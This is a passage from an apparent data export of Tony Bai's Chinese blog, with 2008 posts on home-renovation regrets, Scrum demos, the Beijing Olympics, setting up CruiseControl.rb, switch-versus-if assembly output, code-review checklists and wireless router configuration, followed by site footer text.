厨房墙砖挑选来挑选去，居然买了铺装后效果最不好的一款，价钱还很贵；\n- 厨房墙砖面积计算不准确，导致二次补货时，价钱提升，且工期导致延迟；\n- 瓦工工人技艺一般，客厅地砖某些起伏很大；卫生间墙砖有些水泥填充不足，有空鼓；\n- 两卧室用水泥找平后，仍不平，二次用石膏找平仍有坑洼，导致后期地板踩上去后某些位置能感觉明显的下陷感；\n- 厨房烟道部位瓷砖有15cm长裂纹，无法判断是砖质量问题，还是瓦工的技艺问题；\n- 橱柜后隐蔽的瓷砖买多了，无法退货，浪费了；\n- 客厅地砖用了白色勾缝剂，弄脏后，样子很是难看；\n- 沙发背景墙造型木盒当初不做就好了，商场里的又漂亮，价钱也相差不多；\n- 木工在安装沙发背景墙造型木盒时，将隔壁邻居家的卧室墙面钉出裂纹；\n- 沙发背景墙造型木盒初次安装时位置太低，经拆卸后重新安装，留下隐患；\n- 南阳台的平棚不该做的太大，导致后期纱帘和布帘太拥挤，拉动时很不顺滑；\n- 厨房吊顶颜色太深，导致厨房感觉偏暗；\n- 厨房与餐厅之间的假梁做的太窄，拉门安装后，顶部宽出2个mm；\n- 沙发背景墙造型木盒刷成全白就好了，后期的红色似乎效果没有我想象中的好；\n- 沙发背景墙造型木盒顶部的油漆刷的很烂，手摸上去有凸凹不平的感觉；\n- 烟道内烟机的排风管忘记打发泡胶挤压住就被橱柜挡板封死了；\n- 橱柜的白色顶部挡板很是难看，与橱柜整体似乎很不配套；\n- 橱柜安装时一上柜挂钩没有挂住墙体的膨胀螺丝，二次返工后留下隐患；\n- 水槽安装时下水管用密封胶圈封住了下水管，厨宝安装时安装师傅为了做过压排水，将密封圈打开，这样密封圈失去了原有的作用；\n- 地板和脚线在离家很远的居然之家购买的，由于买多了，退货很不方便；\n- 木门安装后，发现门框与墙体有很大距离，不知是否为安装工人的问题，总之很难看；\n- 橱柜送货时，弄碎了一块玻璃门，二次送货，耽误了我不少时间；\n- 餐厅的灯安完之后发现，居然有些倾斜，无法调整了；\n- 主卧壁纸压边贴，导致花纹对不上，效果很差；\n- 客厅壁纸，时间长了之后，发现白色部分有些发黄；\n- 客厅壁纸边缘部分未粘牢，导致二次返工；\n- 客厅窗帘软滑道不是很顺滑，当初买铝合金的就好了；\n- 浴室柜厂家送货出错，手盆无法安装，浴室柜门样式不对，重新拆卸安装，费时费力，且不如原装的好，留下隐患；\n- 主卧室大床安装时，工人不小心将卧室窗台撞坏，后期才发现；\n- 主卧室窗帘花纹样式与壁纸雷同，导致效果有些凌乱；\n电器采购\n- 液晶电视购买仓促，奥运期间断货，不得不高价从中兴购买，多花了几百块；\n装修后留下的遗憾，带来的是心理上的不平衡和生活上的很多不便，但也许这就是生活。\n","permalink":"https://tonybai.com/2008/08/30/the-flaw-of-house-decoration-is-not-beautiful/","summary":"\u003cp\u003e从4月初到8月中旬，装修(+家具、电器采购)整整持续了四个多月，由于亲戚朋友都不在身边，装修的劳顿使我在这段时间内体重急剧减少了近10斤，体力的不堪重负和心理的烦躁促成了这一\u0026quot;减肥\u0026quot;过程。都说装修是门遗憾的艺术，凡是亲历过装修的人想必都有所感悟吧。有人说：遗憾是一种美，但我的感觉是装修中的遗憾，其实不美。\u003c/p\u003e","title":"装修的遗憾，其实不美"},{"content":"昨天，在下班前的一分钟，突然有一个想法：项目刚刚完成一个阶段性的任务，是否将项目组所有人召集在一起，每个人将自己在这个阶段做的东西向大家做一个展示呢？把这个想法和几个同事交换了一下意见，获得了支持。说做就做，恰好这段时间我一直尝试不断提高自己的执行力。遂在上午的一个短会上和大家道出了我的想法，并决定在今天就做这个演示活动。\n这种想法其实不是什么独创，最近拜读了一本叫\u0026quot;硝烟中的Scrum和XP\u0026quot;的书，书中关于Agile Srcum实践的做法很是吸引我。骨子里的我是不想做让自己感到别扭的事情的，也不愿重复以前已经做过的事情，不断的改进、每天的充实和提高才是我的目标。既然书中有让我认同的最佳实践，为什么我不去尝试一下呢？持续集成、看板(KanBan)管理以及这个Demo模式是我最近一直努力的几个方向，没想到的是今天Demo尝试意外的给了我第一个尝试改进工作的成就感。\n做一件事情容易，但是将你所做的事情展示或讲解给其他人则是不是件容易的事情。项目组在宣布今天做演示活动之后，每个人似乎都有一些态度上的转变，似乎有那么一丝丝紧张。大家重新回顾了这一阶段实现的需求列表，对比需求，努力想着自己所做的东西是否满足需求，哪些不能确定的地方，赶紧向达人请教，一种责任感似乎平地冒出，在大家身上都有不同的展现。\n按照我的要求：每个人在演示自己所做的任务之前，需要给大家简单的介绍一下演示点所对应的需求是什么？让大家大致知道你做的东西是个什么样子，这样每个人不能紧紧只了解自己实现的那一块，而是要将业务流程理解的透彻些，特别是对实现管理系统的同事。我很遗憾和愧疚平时没有给大家很多机会去在众人面前说话的机会，大家莫名的都有那么一丝紧张。其实从另一方面来看，这种Demo实践实际上也是给了这些人一个说话的机会，相信每个人说过之后，他们都会感觉很好。\n按照Scrum的做法，演示放到项目的最后一个时间段，需注意的是演示不是评审，不是让大家找bug和不足。演示是为了让你的工作为大家所知，得到同事的认可和赞同，获得反馈，取得成就感的。今天的项目组的第一次演示在我的控制下好歹没有转变成评审会，我两次和大家重申要求：希望以后我们的阶段性Demo没有bug出现，Demo是我们阶段性任务的最后环节，所有我们能力范围之内可以找出的bug都需要在前期的工作中予以解决，否则你的成果物是不能被accepted的。\n每个同事演示结束后，我都会建议所有组员以掌声予以鼓励，我们的掌声是发自内心的，让演示的同事感觉到他/她的工作得到了认可，心血和汗水没有白费。由于会上得到了很好的效果，我们决定将这种实践作为项目过程的常态持续下去，以后所有组员在接到任务的时候都要以终为始，时刻想着项目阶段末期的演示活动，认真对待自己的任务。相信大家心里也都憋着一股劲－－在下次演示的时候能做得更好，这恰好是我想要的。\n演示中可能不可避免的发现bug，不要过多纠缠于这些bugs，先记下，会后讨论解决，以让我们的演示会能持续良好的进行下去。\n","permalink":"https://tonybai.com/2008/08/27/try-demo-practice-of-scrum/","summary":"\u003cp\u003e昨天，在下班前的一分钟，突然有一个想法：项目刚刚完成一个阶段性的任务，是否将项目组所有人召集在一起，每个人将自己在这个阶段做的东西向大家做一个展示呢？把这个想法和几个同事交换了一下意见，获得了支持。说做就做，恰好这段时间我一直尝试不断提高自己的执行力。遂在上午的一个短会上和大家道出了我的想法，并决定在今天就做这个演示活动。\u003c/p\u003e","title":"尝试Scrum中的Demo模式"},{"content":"燃烧在鸟巢上空16天的第29届北京奥林匹克运动会的圣火终于在今天完成了使命，在万众瞩目下熄灭了。作为一个普通的中国观众，我从电视等媒体中见证了北京奥运会的这16天的历程，客观的说：她很完美。\n闭幕式上，国际奥委会主席罗格给予了北京奥运会一个与众不同的评价：真正的无与伦比。的确如此，北京奥运会从开幕式那天起就让大家眼前一亮，让国外一些媒体对北京的质疑彻底不攻自破。\n北京奥运会是一个拥有13亿人口的发展中国家倾全国之力举办的，其组织、协调、建设等准备工作持续了很多年，就拿礼炮手来说，一个简单的弹壳退膛动作居然连续练习了一年多，可见在中国上自领导人，下自普通老百姓都为十分重视此届盛会，很多人为此没日没夜的工作着、有些人在奥运准备工作中受伤、有些人甚至献出了自己的宝贵生命；让我们高兴的是这16个日日夜夜，奥运会一切顺利进行，我们国家兑现了我们的承诺，展现了一个大国的风范，我们的运动员和观众无不展现出新的风貌。\n中国在为世界作出贡献的同时，自己也收获了很多。不可否认的是奥运会是将中国展现给世界的最美好的舞台；中国代表团在这届奥运会中以51枚金牌，100枚奖牌的优异成绩，成功超越了老对手美国队，称霸了金牌榜。就连美国的纽约时报也撰文告诉美国人和欧洲人，奥运只是个起点，现在中国在体育上超越了欧美国家，将来中国在文化、教育、科技、经济都会逐渐超越，西方人要在未来习惯中国人的超越。\n中国给世界各国运动员创造了良好的赛场环境，世界各国的运动员也表现出了良好的竞技状态和职业操守。菲尔普斯的八金、博尔特的自我超越、埃蒙斯面对悲情的镇定坦然与大度、杨威、马琳的终成正果、丘索维津娜博大母爱的力量等等，让我们看到了一届精彩无比的奥运。更高、更快、更强在本届奥运会表现的更加淋漓尽致。\n北京奥运会给我们留下了美好的回忆，对于中国，对于中国人，北京奥运会的确是一个新的起点。突然想起欣赏开幕式时，同事发来的那条短信，用这条短信的内容作为本篇的结束语吧：为中华崛起干杯！\n","permalink":"https://tonybai.com/2008/08/24/beijing-olympic-games-ends-perfectly/","summary":"\u003cp\u003e燃烧在鸟巢上空16天的第29届北京奥林匹克运动会的圣火终于在今天完成了使命，在万众瞩目下熄灭了。作为一个普通的中国观众，我从电视等媒体中见证了北京奥运会的这16天的历程，客观的说：她很完美。\u003c/p\u003e","title":"北京奥运会完美谢幕"},{"content":"我所在的项目一直以C语言作为主要开发语言，与做Java以及其他新兴语言的人不同，组内的同事似乎对新鲜的东西不是那么感兴趣，也没有主动去研究新鲜事物的意愿和意识。我深为此闹心，看到外面世界中那么多美妙的工具，再也不能坐以待毙了。我一直都是有很多想法的，但是迫于自身精力有限，自己无法全身投入，以前都是交予别人去做的，但是收到的效果都不是很好。认识到这点后，我决定自己动手，丰衣足食。\n从心底一直对公司的CMMI流程有所抵触，眼看着外面世界中的Agile Development等轻量级开发过程日益壮大，但自己每天还不得不按照各种繁复的流程去做，真有一种\u0026quot;身在曹营心在汉\u0026quot;的感觉。但是在一个CMMI流程\u0026quot;森严\u0026quot;的公司，又如何才能让大家接受Agile的思想呢？我想让大家看到新实践的与以往不同的成效，大家自然也就能够接受了。在Infoq上，有人也给出了建议：“切莫开口提大名词(例如SCRUM或者XP)。建议以CMMI x级的\u0026quot;自我改进\u0026quot;做旗帜，找到组织中存在浪费的环节，引入最佳实践来消除浪费，没有必要把敏捷挂在嘴边 ”。而持续集成也是文章中建议的首选实践，与我的想法不谋而合。\n持续集成，以前不是没有做过，在部门的一个项目组中曾经尝试过，自己编写脚本，完成定时更新代码、构建的任务，后因项目紧张，似乎没有收到良好效果。我也曾经在项目组内推进过做Java的同事进行持续集成的实践，并安排一个同事搭建了CruiseControl的服务器，但后来似乎不了了之，也怪我没有在后期给予充分的重视和压力。有过这些教训后，我时常也在想？推进一个持续集成的实践就这么难么？这回我亲自来做，从C开发人员入手。\n持续集成是需要良好的工具支持的，业内最知名的持续集成工具莫过于CruiseControl了，CruiseControl在Java开发领域占据着No.1的地位，而且其设计思想也影响着后续的持续集成工具的开发。但是一想到Java，我第一感觉就是复杂，CruiseControl会不会也像配置一个Web服务器一样那样复杂呢？另外CruiseControl使用Maven + Ant + cvs/subversion的组合，我曾经研究过Ant, Maven，大量的xml配置让我感到很头疼，另外是否与C/C++良好配合也是疑问。这样一来，我就没有继续走CruiseControl这条路，我尝试寻找一种配置简单能快速上手，核心功能也不逊于CruiseControl的工具，Thoughtworks的CruiseControl.rb走入我的视野。\n一直关注Thoughtworks，因为以前部门的两位大牛级别的同事都在那任职，另外Thoughtworks推出的产品也的确让我很感兴趣，以前就曾研究过Mingle，只不过Mingle是收费的，而且目前性能还有待提高。CruiseControl.rb(以下称为CC.rb)是Thoughtworks的一款开源作品，其主页上的一小段话很是对我的胃口：\u0026ldquo;continuous integration isn\u0026rsquo;t rocket science. we keep it simple.\u0026quot;。简单，正是我所期望的。\n目前CC.rb的最新版本是1.3.0，下载后就是一个压缩包：cruisecontrolrb-1.3.0.tgz。解压后，在你的当前目录下会出现一个cruisecontrolrb-1.3.0的目录。CC.rb的依赖非常之少，你只需要在你的集成服务器上安装上ruby和svn客户端即可，注意:ruby和svn的可执行程序的路径需要添加到你的环境变量的PATH中，否则CC.rb将无法找到ruby和svn。目前CC.rb只是支持Svn，其他版本管理工具尚未得到支持，毕竟CC.rb还年轻，开发时间较少，情有可原。\n现在CC.rb已经安装完毕了，没错！CC.rb是用ruby实现的，ruby是脚本类语言，无需编译。你现在就可以进入cruisecontrolrb-1.3.0目录下，执行\u0026quot;cruise –version\u0026rdquo;(在Unix主机上，你需要先将cruise文件chmod一次，否则cruise将无可执行权限)，你会看到：\nCruiseControl.rb, version 1.3.0\nCopyright (C) 2007 ThoughtWorks\n现在你可以添加和配置你的project了。这里要先说一下，CC.rb默认将用户的project数据放在$(HOME)/.cruise/下面，如果你是在Windows平台上，project数据会被默认放在C:\\Documents and Settings\\USER_NAME\\.cruise下面。添加一个proj很简单，你只要提供足够的信息即可：进入到cruisecontrolrb-1.3.0目录下，执行命令：\ncruise add PROJ_NAME –url SVN_URL –username USER_NAME –password PASS_WORD，如果你的svn库有权限管理，你需要提供user和passwd。举例: cruise add test_proj –url svn://192.168.0.2:3999/trunk/test_proj –username tony –password tony\n这样你就在$(HOME)/.cruise/projects的下面建立了一个test_proj的工程，如果你提供的信息是正确的，CC.rb会在初始建立工程的时候，将你的svn库中的代码checkout出来一份最新的，放在$(HOME)/.cruise/projects/test_proj/work下面。\n完成上一步后，$(HOME)/.cruise目录下面有几个配置文件是我们需要重点关注的：\n$(HOME)/.cruise\n- config/site_config.rb\n- projects/test_proj/cruise_config.rb\n$(HOME)/.cruise/config下的site_config.rb文件是一个全局性的配置文件，无论你在一份CC.rb下建立几个proj，这些proj都会共享该配置，该配置每次修改后都需要重启CC.rb才能生效；该文件中有两个最主要的配置：\n邮件服务器配置\n如果你想将每次build的结果通过mail的形式发送给相关干系人的话，你就需要配置你的mail server相关信息。\nActionMailer::Base.smtp_settings = {\n:address =\u0026gt; \u0026ldquo;xx.xx.xx.xx\u0026rdquo;,\n:port =\u0026gt; 25, #一般服务器默认smtp端口都是25\n:domain =\u0026gt; \u0026ldquo;YOUR_DOMAIN.com\u0026rdquo;,\n:authentication =\u0026gt; :plain,\n:user_name =\u0026gt; \u0026ldquo;YOUR_USER_NAME\u0026rdquo;,\n:password =\u0026gt; \u0026ldquo;YOUR_PASSWD\u0026rdquo;\n} Dashboard URL\nConfiguration.dashboard_url = \u0026lsquo;http://ip : port\u0026rsquo;； Dashboard URL将被加入到发给干系人的mail中，这样相关干系人收到mail后可以直接点击该url登录到CC.rb的Dashboard查看相关内容。CC.rb的配置文件也同样适用ruby语言编写的，ruby语言语法较为简单，相信大家都看得懂。 $(HOME)/.cruise/projects/test_proj下的cruise_config.rb文件则是一个Project-specific的local配置文件，它是动态更新的，你的更新在下一次build时是即时生效的。该配置文件中的内容都很重要和实用：\nproject.email_notifier.emails = [\u0026rsquo;email1@your.site\u0026rsquo;] 该配置用于添加干系人邮件，这样每次build后，CC.rb都会读取该配置，发送mail给该email list的人； project.email_notifier.from = \u0026rsquo;email2@your.site\u0026rsquo;，该配置将指定notify mail中的发件人，你可以因项目的不同而配置不同的mail。\n3) project.rake_task = \u0026lsquo;custom\u0026rsquo;，似乎该配置只有当你使用rake这个工具时才需要配置，如果你使用诸如ant,make等工具的话，该配置还需保留原先的被注释状态； project.build_command = \u0026lsquo;build_my_app.sh\u0026rsquo;，该配置给予你自定义build脚本的机会，也正是这样，你才可以将CC.rb与Ant, Make等工具集成在一起使用。如：project.build_command = \u0026lsquo;make\u0026rsquo;。注意CC.rb执行build_command的working dir是$(HOME)/.cruise/projects/test_proj/work下面，如果你的build_my_app.sh没有放在work下面，而是在$(HOME)/.cruise/projects/test_proj下面的话，你这块就要配置成：project.build_command = \u0026lsquo;../build_my_app.sh\u0026rsquo;; project.build_command与 project.rake_task不能一起使用。 project.scheduler.polling_interval = 5.minutes ，CC.rb定期去检测svn是否有new revision，这个配置就是用来指定检测周期的，如果你不配置，那默认是30s。 如果你以上都配置完毕了，你现在就可以启动CC.rb了。启动方法：进入到cruisecontrolrb-1.3.0目录下，执行\u0026quot;cruise start -p port\u0026quot;。CC.rb会启动自带一个轻量级web server – WEBrick ，对于我这个对web server不熟悉的人还是很方便的，我只需要告诉CC.rb端口即可。CC.rb启动后，你可以在浏览器输入http://ip:port，CC.rb的简洁的页面就会显示出来，你会在页面上看到你刚才建立的工程test_proj，点击右上方的\u0026quot;build now\u0026quot;按钮，你就开始了一次build的过程。无论成功还是失败，你都应该收到一封mail，关于此次build的详情可以点击mail中的链接。如果失败了，你可以在页面上的\u0026quot;build log\u0026quot;中看到此次build的详细日志，以帮助你分析失败原因。\nCC.rb是如何判断build过程成功还是失败了呢？我们以project.build_command = \u0026lsquo;xx\u0026rsquo;的配置为例，其实CC.rb是通过判断xx这个builder的返回值来决定build过程是否成功的。当xx这个builder返回0，说明build成功；否则build失败；我们不妨测试一下：在$(HOME)/.cruise/projects/test_proj/work下面写一个小程序：\n/* test.c */\nint main() {\nexit(0);\n}\ngcc -o test test.c\n配置project.build_command = \u0026rsquo;test\u0026rsquo;，点击\u0026quot;build now\u0026quot;，收到mail，提示build success；如果你将exit(0)改成exit(1)，那么一封failed的mail就会发到你的邮箱里。\nC/C++没有很好的单元测试工具，一般C/C++单元测试工具都会将单元测试用例编译链接成为一个可执行文件，然后执行，以判断是否通过。到这里你是否想到了如何将C/C++的单元测试与CC.rb集成到一起的方法呢？对，我们通过脚本也好，或者干脆自己编写一个单元测试框架，通过程序返回值告知CC.rb新提交的代码是否通过了单元测试的考验。\n以上是第一次使用体验CC.rb时记录下的内容，其实CC.rb就是这么简单！\n","permalink":"https://tonybai.com/2008/08/20/the-experience-of-cruisecontrol-rb/","summary":"\u003cp\u003e我所在的项目一直以C语言作为主要开发语言，与做Java以及其他新兴语言的人不同，组内的同事似乎对新鲜的东西不是那么感兴趣，也没有主动去研究新鲜事物的意愿和意识。我深为此闹心，看到外面世界中那么多美妙的工具，再也不能坐以待毙了。我一直都是有很多想法的，但是迫于自身精力有限，自己无法全身投入，以前都是交予别人去做的，但是收到的效果都不是很好。认识到这点后，我决定自己动手，丰衣足食。\u003c/p\u003e","title":"CruiseControl.rb初体验"},{"content":"每年都有应届毕业生来到公司，每年都要对新同事进行代码方面的培训，比如编码规范就是其中之一。编码规范初听起来比较新鲜，但是培训时间长了，显然有些乏味。今年我打算改变策略，让新同事结合已有规范文档和项目代码，自己先挖掘一遍，然后大家通过坐下来讨论的互动方式来加深对规范的理解，每次讨论时间限制在1 hour以内，不给大家打瞌睡的机会^_^。\n上周和新同事一起讨论表达式和语句，说到了switch和if，谈到了他们的用途和区别。大家都清楚switch语句被称为多分支语句，当代码中即将出现3个及3个以上分支时，推荐用switch，这样代码可读性好，清晰，格式工整；但是同样switch也是有局限的，就是switch(xx)中的xx必须是整型变量；如果你的条件判断是字符串比较，就无法直接使用switch了。switch的这一局限实际上是有原因的，为什么呢？在于其性能优化。那switch语句在底层到底是如何实现的呢？和if语句相比，switch除了美观之外，优势又在哪里呢？我们唯有到汇编层去看个究竟了。\n我们先来看看if多分支的情况：//Windows XP + gcc v3.4.2 (mingw-special)\n//testif.c\nint test_if_performance(int i) {\nint rv = i;\nif (rv == 10) {\nrv += 100;\n} else if (rv == 11) {\nrv += 101;\n} else if (rv == 12) {\nrv += 102;\n} else if (rv == 13||rv == 14 || rv == 15) {\nrv += 105;\n} else {\nrv += 0;\n}\nreturn rv;\n}\n我们通过-S选项得到test_if_performance的汇编代码，我们加上了-O2的优化选项：\n//gcc -S O2 testif.c\n//testif.s\n… …\n_test_if_performance:\npushl %ebp\nmovl %esp, %ebp\nmovl 8(%ebp), %edx\ncmpl $10, %edx\nje L11\ncmpl $11, %edx\nje L12\ncmpl $12, %edx\nje L13\nleal -13(%edx), %eax\ncmpl $2, %eax\nja L3\naddl $105, %edx\nL3:\npopl %ebp\nmovl %edx, %eax\nret\n.p2align 4,,7\nL11:\npopl %ebp\nmovl $110, %edx\nmovl %edx, %eax\nret\n.p2align 4,,7\nL12:\npopl %ebp\nmovl $112, %edx\nmovl %edx, %eax\nret\n.p2align 4,,7\nL13:\npopl %ebp\nmovl $114, %edx\nmovl %edx, %eax\nret\n从这段汇编码来看，if语句是逐个判断下来的，如果i = 19的话，程序需要从头判断到尾，\u0026ldquo;一个都不能少\u0026rdquo;^_^。那么拥有同样语义功能的switch代码又是如何实现的呢？我们继续看下去。\n// testswitch.c 这个文件实现的是和上述testif.c同样的功能\nint test_switch_performance(int i) {\nint rv = i;\nswitch(rv) {\ncase 10:\nrv += 100;\nbreak;\ncase 11:\nrv += 101;\nbreak;\ncase 12:\nrv += 102;\nbreak;\ncase 13:\ncase 14:\ncase 15:\nrv += 105;\nbreak;\ndefault:\nrv += 0;\n}\nreturn rv;\n}\n我们同样用-O2来得到switch的汇编代码：\n//gcc -S O2 testswitch.c\n//testswitch.s\n… …\n_test_switch_performance:\npushl %ebp\nmovl %esp, %ebp\nmovl 8(%ebp), %ecx\nleal -10(%ecx), %edx\nmovl %ecx, %eax\ncmpl $5, %edx\nja L2\njmp *L10(,%edx,4)\n.section .rdata,\u0026ldquo;dr\u0026rdquo;\n.align 4\nL10:\n.long L3\n.long L4\n.long L5\n.long L8\n.long L8\n.long L8\n.text\n.p2align 4,,7\nL8:\nleal 105(%ecx), %eax\n.p2align 4,,15\nL2:\npopl %ebp\nret\n.p2align 4,,7\nL3:\npopl %ebp\nleal 100(%ecx), %eax\nret\n.p2align 4,,7\nL4:\npopl %ebp\nleal 101(%ecx), %eax\nret\n.p2align 4,,7\nL5:\npopl %ebp\nleal 102(%ecx), %eax\nret\n看完汇编码，第一感觉：cmpl少了许多，一个只读数据段中的L10的标签映入眼帘，以L10标签为起始的内存中依次存储了L3、L4、L5和三个L8的地址，看起来就像是一个地址数组，或者是一个地址表，访问这个数组中的元素实际上就是调用每个元素对应地址中的一段代码。我们继续往前看，来证实一下这个想法。代码不多，比对着汇编指令手册读起来也不甚难。\npushl %ebp\nmovl %esp, %ebp // 将栈帧地址存在%ebp中\nmovl 8(%ebp), %ecx // 将rv值存储到%ecx中\nleal -10(%ecx), %edx // 将rv值-10之后的值，作为地址偏移量存放到%edx\nmovl %ecx, %eax // 将%ecx中的rv值存储到%eax中\ncmpl $5, %edx // 比较5 vs. (rv – 10)，显然5是编译器经过代码扫描后，算出的一个最大偏移值\nja L2 // jump if above ，如果5 \u0026gt; %edx中的值，则跳到L2继续执行\njmp *L10(,%edx,4) // 如果5 \u0026lt;= %edx中的值，则jmp *L10(,%edx,4)\n解析一下jmp *L10(,%edx,4)，按照书中所说，*L10(,%edx,4)应该对应一个叫indexed memory mode的模式，格式一般是base_address(offset_address, index, size)，含义就是base_address + offset_address + index * size；这样似乎就一目了然了。我们拿i = 12为例，经过前面的计算，%edx中存储的是2，L10(,%edx,4)相当于L10 + 0 + 2 * 4，也就是起始地址=L10 + 8的那个内存区域，恰好是L5的起始地址，jmp *L10(,%edx,4)，直接将代码执行routine转到L5了：\nL5:\npopl %ebp\nleal 102(%ecx), %eax\nret\n显然这和前面的猜测是一致的，switch并没有使用性能低下的逐个cmpl的方式，而是形成了一个跳转表(以L10为首地址的地址数组)，并将传入switch的那个整型值经过已经的运算后作为offset值，通过一个jmp直接转到目的代码区，这样无论switch有多少个分支，实际上都只是做了一次cmpl，性能照比多if有很大提升。\n","permalink":"https://tonybai.com/2008/08/18/thoughts-on-the-performance-of-switch-case-statments/","summary":"\u003cp\u003e每年都有应届毕业生来到公司，每年都要对新同事进行代码方面的培训，比如编码规范就是其中之一。编码规范初听起来比较新鲜，但是培训时间长了，显然有些乏味。今年我打算改变策略，让新同事结合已有规范文档和项目代码，自己先挖掘一遍，然后大家通过坐下来讨论的互动方式来加深对规范的理解，每次讨论时间限制在1 hour以内，不给大家打瞌睡的机会^_^。\u003c/p\u003e","title":"switch语句性能考量"},{"content":"CHECKLIST多是类似如下的东西，举一个代码CHECKLIST的例子：\n参数的书写是否完整？不要贪图省事只写参数的类型而省略参数名字。\n- 参数命名、顺序是否合理？\n- 参数的个数是否太多？\n- 是否使用类型和数目不确定的参数？\n- 是否省略了函数返回值的类型？\n- 函数名字与返回值类型在语义上是否冲突？ 我们常常遇到的一个问题就是在进行source peer review的时候是根据每一个CHECK item去从头到尾看一遍代码(如果有50个CHECK items的话，那就从头到尾看50遍代码)还是记住所有CHECK items，然后只看一遍代码，显然我觉得后者在目前实施的可能性是最大的，也是实施最普遍的。\n但是效果呢？估计还是看50遍代码较好，但是的确不太具备可操作性，投入的工作量太大，很多人也不会接受。\n也有很多人采用折中的方式，比如说一共有10个人参与source peer review，每个人只关注其中的5项check item，然后一起walk through一遍代码。甚至在有些公司采取强制每个人必须能针对自己负责的check item提出问题，否则影响个人绩效之类的方法。\n以上是看到公司的一个文档的CHECKLIST时突然想到的，没想出更好的solution。我想可能更多的人是不去记忆Checklist的，而是直接凭经验对代码评头论足的:)\n","permalink":"https://tonybai.com/2008/08/15/checklist-is-impractical/","summary":"\u003cp\u003eCHECKLIST多是类似如下的东西，举一个代码CHECKLIST的例子：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e参数的书写是否完整？不要贪图省事只写参数的类型而省略参数名字。\u003cbr\u003e\n - 参数命名、顺序是否合理？\u003cbr\u003e\n - 参数的个数是否太多？\u003cbr\u003e\n - 是否使用类型和数目不确定的参数？\u003cbr\u003e\n - 是否省略了函数返回值的类型？\u003cbr\u003e\n - 函数名字与返回值类型在语义上是否冲突？\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我们常常遇到的一个问题就是在进行source peer review的时候是根据每一个CHECK item去从头到尾看一遍代码(如果有50个CHECK items的话，那就从头到尾看50遍代码)还是记住所有CHECK items，然后只看一遍代码，显然我觉得后者在目前实施的可能性是最大的，也是实施最普遍的。\u003c/p\u003e","title":"CHECKLIST的不实用之处"},{"content":"刚搬家，由于新的小区不在中国铁通的势力范围之内，所以无奈下只好硬着头皮去安装网通宽带，与铁通宽带不同的是网通宽带套餐必须绑定一部固话，估计这就是固网电信运营商开拓市场的一个卑鄙伎俩吧。铁通就可以不安装电话，直接通过跳线做。还有更严重的一点就是网通宽带贵，包一年比铁通要贵上300块；另外已经习惯了铁通的免费电影网站，网通的收费电影网站让我很是不适应。我又不喜欢用bt，以后看电影还是需要另寻门路了。\n我的无线路由器也随着我一起搬到了新家，昨天网通人员来到我家，顺利的给我安装上了宽带。晚上回来后，我想测试一下卧室内的电话口，遂拔下电话线到卧室中尝试，一试居然不好用；拿回客厅连上线之后，居然也连不上了。打客服电话，告诉他们错误码，按照他们的指导重试也不成，自己又试了几次，依然无果，放弃。把电话单独拿到卧室试试电话线口，居然不可用，原来是电工没有给我接好电话线的缘故；但是厅里面的电话是可以用的啊，怎么搞的呢？今天早上我再次尝试看看是否可以上网，结果还是不行，我试探性的交换了分频器的插线，居然好用了。上班的时候和同事说了这件事，他告诉我分频器的两个口是有区别的，一个for phone，另一个for modem的，我顿恍然大悟。\n晚上回来，一看分频器，果不其然上面有提示字。我是讨厌一堆线的，立马拿出我的无线路由器。第一次设置路由器是用网线连接路由器的WAN口进行设置的。取下modem的网线，连到我的本本和无线路由之间，尝试访问192.168.0.1，无果。无线路由器拒绝分配地址给我的本本。停下来想了想，是否是当初设置的时候设置了限制呢？那还有什么方法可以设置呢？\n突然灵光一闪，我通过无线访问设置无线路由不就可以了么。于是拔下网线，启动无线连接，果然很顺利的就连上了。通过admin登录到路由器上(差点忘记了当初的密码，这次一定要记下来，呵呵)，修改ISP的账户设置，重新激活。重新连接到无线路由，一切顺利，新浪体育顺利打开，中国已经得到了24金了，看来这回中国奥运代表团有可能创造历史啊，毕竟还有跳水、羽毛球、体操单项、兵乓球、皮划艇、刘翔等诸多夺金点没有开赛呢。加油！\n网通的网络的确要比铁通的快一些，也不容易瞬断。第一感觉吧，不知道以后会是什么样子。\n","permalink":"https://tonybai.com/2008/08/15/configure-wireless-router-cont/","summary":"\u003cp\u003e刚搬家，由于新的小区不在中国铁通的势力范围之内，所以无奈下只好硬着头皮去安装网通宽带，与铁通宽带不同的是网通宽带套餐必须绑定一部固话，估计这就是固网电信运营商开拓市场的一个卑鄙伎俩吧。铁通就可以不安装电话，直接通过跳线做。还有更严重的一点就是网通宽带贵，包一年比铁通要贵上300块；另外已经习惯了铁通的免费电影网站，网通的收费电影网站让我很是不适应。我又不喜欢用bt，以后看电影还是需要另寻门路了。\u003c/p\u003e","title":"无线路由设置也'疯狂'(续)"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 